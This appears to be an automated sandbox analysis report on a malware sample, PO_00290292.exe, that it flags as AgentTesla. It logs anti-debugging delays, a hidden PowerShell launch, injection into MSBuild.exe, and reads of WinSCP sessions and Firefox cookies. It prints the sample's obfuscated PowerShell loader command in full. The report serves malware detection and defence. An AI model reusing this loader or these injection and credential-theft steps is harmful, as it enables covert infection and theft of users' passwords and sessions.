Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99157	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98107	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98112	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599430	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599091	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598983	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598547	Jump to behavior

Source: MSBuild.exe, 00000005.00000002.2591135790.000000000433C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_?
Source: MSBuild.exe, 00000005.00000002.2591135790.00000000042EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8X4
Source: MSBuild.exe, 00000005.00000002.2624055244.00000000212E4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2624055244.0000000021304000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000203A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HgFsZzyc1KET+4v5U4KAMADFEcDFNtvv+ITzKbSSW1vwK8EkWnQLLbTwXbLLF50cTbCI
Source: MSBuild.exe, 00000005.00000002.2591135790.000000000433C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\PO_00290292.exe

API call chain: ExitProcess graph end node

graph_0-3795

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00F5D6E4 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

4_2_00F5D6E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 5_2_0118A796 mov eax, dword ptr fs:[00000030h]

5_2_0118A796

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\SysWOW64\mshtml.dll target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B00000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: AFF840			Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden $derremc = Get-Content 'C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle' ; powershell.exe "$derremc"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Spejlvende Journaliseringssystems Conservatorial #><#Basilikers Toothcomb Letfordrvelig #>$Portugals = """Ko;SmFOmu RnFac FtTwiStoFonDe OtPAlyInxHui PdSkeInsEr4 F In{ S tv Po fi TupOvaBerGaafomPa(sm[BeS Tt HrPeiAunOsgEv]Ov`$SpSuioBelAnfPsa UlCedTo)Fo;bu Go`$OvNSkoOprDetNohObuRhm Cb OeLirAal BaTonbodDe Fu=Sk Ru`$ VSSpoAnlVafHeaPulHldRe.CiLHaePrnAsgFatInh M;Ne L Vi Af Ta`$PoD RrAniElf OtSvsPasUnyexs OtSteRimBumreeRetAnsSm Tr=Ch NoNArevvwAp-LaO NbSojOpe DcStt P Tb Ry FtSneVa[Pr]Wh Ud(Le`$miNBioLir VtPahMuuUdm TbSaeperGalAfaInnDedLi Op/ci St2Bo)An; K Ps`$PrRfioCadUntUme PgAnnGyeovtAn1St6Ug8Ab=Pi' CS AU D'In+ P'EdBUnSSpTBoRUnIThNDoG l'Aa;Af Da Co Im TF FoWarDe( D`$StNEnoChnCyetexNupudeOvccrt FaTanPatPa= U0Pl;No Ho`$NoNByoHjnUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTetRe J`$KoNakoVurActQuh SuBumUdbYeeovrOrlSuaMinCrdcr;Li U`$SeNMaoPinTrePaxAlpspeLocHetSmaUnnBetBa+ro= G2Tr) P{Se Un He He Un Au Ko Ta ar`$PoDDer BiDefTet BsTrsBoyThs BtNaeunmKnmWaeAmtDosCa[ S`$ScNUgoBlnMaeApxEkpCaeRec At HaInnentDr/Ho2 U] K Ka= S Da[stcSmoPan BvSkeLer OtOb] N:Zi:UnTreoAaB SyBrt GeHa( d`$ JSMaoWilkofHoaOvlHodOm.No`$AtRPaoPodGitage NgTnnMaemat F1re6Ar8Be.CoI FnPhvSpoNektieJo(Fl`$PhN Do OnBoe RxCop ReSicTatInaSanBatJo,Ln Sp2Fu)Ep,Tr K1Cl6Un)Br;Po in F`$gaDPerChiMefKotRasOvsTey SsRetBoeFimSumIne wtUdsFi[Ar`$TrNMoo Sn Ue DxCypByeRocCotAnaNunomtTe/Ph2No]st Ar=So HaxGaoKnrSoaQummiiBa Sk`$MoDShrSei Sf UtsosPrsSpyLesdotBieDimDomRreUntSps P[ U`$UnNAroRen AeBexHopGee Sc PtBaaInnIntEa/Be2ov]Fi Po1Pl1 M0Gl;ra N un Po Fl}Fo Ou[PsSCotUnrPhiSynSogUn]De[PeSSuy PsLitSkepymIn.KaTSoe LxAntEu.SiEVan Dc UodedPriFnn PgSp]Ph: e:AyAPoSOoC MIFuIJa.PaGGee LtBeSCatStrEri wnUng B(da`$ElDCarIsiAtfPat BsChs SyMnsPttSeeUdmOvmaueDrtPas E)Ra;Un}St`$VeEBismetBjiGamSteHarDiiHanTogSmetorCh0 D=KoPGrySvxPuiOvdSme Ks l4Fi Sk'Au3StDHo1Af7Bo1TrDal1SyAsp0SiBri0 H3Cr4Af0Ma0PlABa0Af2 B0Gr2St'Ga;Ov`$deENesNetTiiFimBreKirSaiLenWagfjeBorLe1Py=AuP lyLexUniFedCleGesat4Op Fa'Ra2Pr3ta0 e7 D0KlDUn1NoCCo0Li1 R1 TDWe0Un1 D0Yv8Su1 TA O4 R0 A3ny9Sl0Fo7Cr0In0Ta5DaD K5ThCLo4 W0Kd3 KB F0Em0ig1SkD D0ReF R0ir8Bu0FoBOp2Ir0De0 SFUg1arAMa0St7Va1Be8 A0UnBKa2Ge3Ho0JuB A1 RA A0Vi6 G0 G1An0DeAHa1KaDPr'Wh; V`$ CEKos StSoi SmEneUnr ui TnNog SeOvrMe2As=ApPTaySaxDriUndreeTesSp4In ap'In2 d9Bl0CrBSa1 AAUn3MaESk1VaCun0Ch1Te0DdDin2SlFBu0SaAAl0TeA F1DyC D0TaBSt1 KDEl1TrDbr'Ra;Ca`$FaEHasSetPaiNim ReElrHai FnStgUre Irgr3 I=LaPGayWexfliBddSoeBosPa4No ek'Re3StDIn1mi7Un1RuDCp1 NA N0maBRo0Fa3 V4Ma0Br3UnC F1MiBZo0 H0So1FeAKa0Ma7Bl0Un3 C0CaB D4Mo0Pr2Da7Sc0Ho0Hu1ReA I0DiBFj1AgCFl0Ud1Su1SeEHo3PhDFo0CaBCo1 TCgr1re8Ma0 D7An0UdDBo0AtBJu1VeDPo4Jo0Mi2 P6 P0 SFFo0Ju0re0CoA S0Bl2 S0 LBUn3CaCNd0UnBLo0Af8 B' M;In`$DeECosDrtDri Sm se UrTriOunRegSke MrPr4Ti=deP IyPexSpiSpdCee FsSu4Zo Zo'At1PaDva1SoA E1ReCud0 B7Ha0 E0Mi0 A9Ti'No;Sw`$SeEHasBltSeiPamKoeOvrPoiGrnGegObe ArWi5Sk=DiPabyToxGaiSedOre GsVo4St D' F2Da9Ko0 MBtr1LiAAd2 U3Fe0Sl1sk0UnA P1asBTr0Do2	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#spejlvende journaliseringssystems conservatorial #><#basilikers toothcomb letfordrvelig #>$portugals = """ko;smfomu rnfac fttwistofonde otpalyinxhui pdskeinser4 f in{ s tv po fi tupovabergaafompa(sm[bes tt hrpeiaunosgev]ov`$spsuiobelanfpsa ulcedto)fo;bu go`$ovnskooprdetnohoburhm cb oeliraal batonbodde fu=sk ru`$ vsspoanlvafheapulhldre.cilhaeprnasgfatinh m;ne l vi af ta`$pod rranielf otsvspasunyexs otsterimbumreeretanssm tr=ch nonarevvwap-lao nbsojope dcstt p tb ry ftsneva[pr]wh ud(le`$minbiolir vtpahmuuudm tbsaepergalafainndedli op/ci st2bo)an; k ps`$prrfiocaduntume pganngyeovtan1st6ug8ab=pi' cs au d'in+ p'edbunssptborunithndog l'aa;af da co im tf fowarde( d`$stnenochncyetexnupudeovccrt fatanpatpa= u0pl;no ho`$nonbyohjnutelix tp oesoc st faunnsvtsy op-shltetre j`$konakovuractquh subumudbyeeovrorlsuamincrdcr;li u`$senmaopintrepaxalpspelochetsmaunnbetba+ro= g2tr) p{se un he he un au ko ta ar`$podder bideftet bstrsboyths btnaeunmknmwaeamtdosca[ s`$scnugoblnmaeapxekpcaerec at hainnentdr/ho2 u] k ka= s da[stcsmopan bvskeler otob] n:zi:untreoaab sybrt geha( d`$ jsmaowilkofhoaovlhodom.no`$atrpaopodgitage ngtnnmaemat f1re6ar8be.coi fnphvsponektiejo(fl`$phn do onboe rxcop resictatinasanbatjo,ln sp2fu)ep,tr k1cl6un)br;po in f`$gadperchimefkotrasovstey ssretboefimsumine wtudsfi[ar`$trnmoo sn ue dxcypbyeroccotananunomtte/ph2no]st ar=so haxgaoknrsoaqummiiba sk`$modshrsei sf utsosprsspylesdotbiedimdomrreuntsps p[ u`$unnaroren aebexhopgee sc ptbaainnintea/be2ov]fi po1pl1 m0gl;ra n un po fl}fo ou[psscotunrphisynsogun]de[pessuy pslitskepymin.katsoe lxanteu.sievan dc uodedprifnn pgsp]ph: e:ayaposooc mifuija.paggee ltbescatstreri wnung b(da`$eldcarisiatfpat bschs symnspttseeudmovmauedrtpas e)ra;un}st`$veebismetbjigamstehardiihantogsmetorch0 d=kopgrysvxpuiovdsme ks l4fi sk'au3stdho1af7bo1trdal1syasp0sibri0 h3cr4af0ma0plaba0af2 b0gr2st'ga;ov`$deenesnettiifimbrekirsailenwagfjeborle1py=aup lylexunifedclegesat4op fa'ra2pr3ta0 e7 d0kldun1nocco0li1 r1 tdwe0un1 d0yv8su1 ta o4 r0 a3ny9sl0fo7cr0in0ta5dad k5thclo4 w0kd3 kb f0em0ig1skd d0ref r0ir8bu0fobop2ir0de0 sfug1arama0st7va1be8 a0unbka2ge3ho0jub a1 ra a0vi6 g0 g1an0deaha1kadpr'wh; v`$ cekos stsoi smeneunr ui tnnog seovrme2as=apptaysaxdriundreetessp4in ap'in2 d9bl0crbsa1 aaun3maesk1vacun0ch1te0dddin2slfbu0saaal0tea f1dyc d0tabst1 kdel1trdbr'ra;ca`$faehassetpainim reelrhai fnstgure irgr3 i=lapgaywexflibddsoebospa4no ek're3stdin1mi7un1rudcp1 na n0mabro0fa3 v4ma0br3unc f1mibzo0 h0so1feaka0ma7bl0un3 c0cab d4mo0pr2da7sc0ho0hu1rea i0dibfj1agcfl0ud1su1seeho3phdfo0cabco1 tcgr1re8ma0 d7an0uddbo0atbju1vedpo4jo0mi2 p6 p0 sffo0ju0re0coa s0bl2 s0 lbun3cacnd0unblo0af8 b' m;in`$deecosdrtdri sm se urtriounregske mrpr4ti=dep iypexspispdcee fssu4zo zo'at1padva1soa e1recud0 b7ha0 e0mi0 a9ti'no;sw`$seehasbltseipamkoeovrpoigrngegobe arwi5sk=dipabytoxgaisedore gsvo4st d' f2da9ko0 mbtr1liaad2 u3fe0sl1sk0una p1asbtr0do2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#spejlvende journaliseringssystems conservatorial #><#basilikers toothcomb letfordrvelig #>$portugals = """ko;smfomu rnfac fttwistofonde otpalyinxhui pdskeinser4 f in{ s tv po fi tupovabergaafompa(sm[bes tt hrpeiaunosgev]ov`$spsuiobelanfpsa ulcedto)fo;bu go`$ovnskooprdetnohoburhm cb oeliraal batonbodde fu=sk ru`$ vsspoanlvafheapulhldre.cilhaeprnasgfatinh m;ne l vi af ta`$pod rranielf otsvspasunyexs otsterimbumreeretanssm tr=ch nonarevvwap-lao nbsojope dcstt p tb ry ftsneva[pr]wh ud(le`$minbiolir vtpahmuuudm tbsaepergalafainndedli op/ci st2bo)an; k ps`$prrfiocaduntume pganngyeovtan1st6ug8ab=pi' cs au d'in+ p'edbunssptborunithndog l'aa;af da co im tf fowarde( d`$stnenochncyetexnupudeovccrt fatanpatpa= u0pl;no ho`$nonbyohjnutelix tp oesoc st faunnsvtsy op-shltetre j`$konakovuractquh subumudbyeeovrorlsuamincrdcr;li u`$senmaopintrepaxalpspelochetsmaunnbetba+ro= g2tr) p{se un he he un au ko ta ar`$podder bideftet bstrsboyths btnaeunmknmwaeamtdosca[ s`$scnugoblnmaeapxekpcaerec at hainnentdr/ho2 u] k ka= s da[stcsmopan bvskeler otob] n:zi:untreoaab sybrt geha( d`$ jsmaowilkofhoaovlhodom.no`$atrpaopodgitage ngtnnmaemat f1re6ar8be.coi fnphvsponektiejo(fl`$phn do onboe rxcop resictatinasanbatjo,ln sp2fu)ep,tr k1cl6un)br;po in f`$gadperchimefkotrasovstey ssretboefimsumine wtudsfi[ar`$trnmoo sn ue dxcypbyeroccotananunomtte/ph2no]st ar=so haxgaoknrsoaqummiiba sk`$modshrsei sf utsosprsspylesdotbiedimdomrreuntsps p[ u`$unnaroren aebexhopgee sc ptbaainnintea/be2ov]fi po1pl1 m0gl;ra n un po fl}fo ou[psscotunrphisynsogun]de[pessuy pslitskepymin.katsoe lxanteu.sievan dc uodedprifnn pgsp]ph: e:ayaposooc mifuija.paggee ltbescatstreri wnung b(da`$eldcarisiatfpat bschs symnspttseeudmovmauedrtpas e)ra;un}st`$veebismetbjigamstehardiihantogsmetorch0 d=kopgrysvxpuiovdsme ks l4fi sk'au3stdho1af7bo1trdal1syasp0sibri0 h3cr4af0ma0plaba0af2 b0gr2st'ga;ov`$deenesnettiifimbrekirsailenwagfjeborle1py=aup lylexunifedclegesat4op fa'ra2pr3ta0 e7 d0kldun1nocco0li1 r1 tdwe0un1 d0yv8su1 ta o4 r0 a3ny9sl0fo7cr0in0ta5dad k5thclo4 w0kd3 kb f0em0ig1skd d0ref r0ir8bu0fobop2ir0de0 sfug1arama0st7va1be8 a0unbka2ge3ho0jub a1 ra a0vi6 g0 g1an0deaha1kadpr'wh; v`$ cekos stsoi smeneunr ui tnnog seovrme2as=apptaysaxdriundreetessp4in ap'in2 d9bl0crbsa1 aaun3maesk1vacun0ch1te0dddin2slfbu0saaal0tea f1dyc d0tabst1 kdel1trdbr'ra;ca`$faehassetpainim reelrhai fnstgure irgr3 i=lapgaywexflibddsoebospa4no ek're3stdin1mi7un1rudcp1 na n0mabro0fa3 v4ma0br3unc f1mibzo0 h0so1feaka0ma7bl0un3 c0cab d4mo0pr2da7sc0ho0hu1rea i0dibfj1agcfl0ud1su1seeho3phdfo0cabco1 tcgr1re8ma0 d7an0uddbo0atbju1vedpo4jo0mi2 p6 p0 sffo0ju0re0coa s0bl2 s0 lbun3cacnd0unblo0af8 b' m;in`$deecosdrtdri sm se urtriounregske mrpr4ti=dep iypexspispdcee fssu4zo zo'at1padva1soa e1recud0 b7ha0 e0mi0 a9ti'no;sw`$seehasbltseipamkoeovrpoigrngegobe arwi5sk=dipabytoxgaisedore gsvo4st d' f2da9ko0 mbtr1liaad2 u3fe0sl1sk0una p1asbtr0do2			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe

Code function: 0_2_004061A0 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_004061A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7348, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
